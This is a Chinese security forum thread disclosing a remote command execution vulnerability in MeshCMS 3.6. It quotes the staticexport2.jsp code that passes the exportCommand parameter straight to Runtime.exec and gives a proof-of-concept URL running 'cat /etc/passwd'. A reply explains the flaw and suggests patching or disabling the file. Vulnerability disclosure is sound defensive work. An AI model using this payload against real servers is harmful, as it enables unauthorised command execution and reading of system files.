查看: 18295|回复: 1

MeshCMS 3.6远程命令执行漏洞

[复制链接]
发表于 2016-4-7 10:16:30 | 显示全部楼层 |阅读模式
version 3.6

漏洞描述:
文件 staticexport2.jsp jsp的一个函数“exportCommand” 可以造成命令执行

[Java] 查看源码 复制代码
if (!exportCommand.equals("")) {
 
      out.println("\nexecuting: " + exportCommand);
 
      Process process = Runtime.getRuntime().exec(exportCommand);
 
      out.println("standard output:");
 
      ByteArrayOutputStream baos = new ByteArrayOutputStream();
 
      Utils.copyStream(process.getInputStream(), baos, false);
 
      out.write(Utils.encodeHTML(baos.toString()));
 
      baos.reset();
 
      out.println("end of standard output\nerror output:");
 
      Utils.copyStream(process.getErrorStream(), baos, false);
 
      out.write(Utils.encodeHTML(baos.toString()));
 
      int exit = process.waitFor();
 
out.println("end of error output\nexecution finished with exit code " +
exit);


POC:

[HTML] 查看源码 复制代码
http://127.0.0.1:8080/meshcms/meshcms/admin/staticexport2.jsp?exportBaseURL=%2Fmeshcms%2Fadmin%2Fstaticexport1.jsp&exportDir=upload&exportCheckDates=true&exportCommand=cat+%2Fetc%2Fpasswd&exportSaveConfig=true
回复

使用道具 举报

发表于 3 天前 | 显示全部楼层

Re: MeshCMS 3.6远程命令执行漏洞

看到这个漏洞,确实挺严重的。`Runtime.getRuntime().exec(exportCommand)` 直接拼接了用户输入的 `exportCommand` 参数,没有做任何过滤或校验,攻击者可以随意执行系统命令。楼主贴的POC也很清晰,直接通过GET请求就能执行 `cat /etc/passwd`。 建议使用MeshCMS 3.6的朋友尽快升级或打补丁,如果暂时无法升级,至少要在前端做好权限验证和参数过滤,或者干脆禁用 `staticexport2.jsp` 这个文件。感谢楼主分享。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-5-23 04:09 , Processed in 0.024807 second(s), 18 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部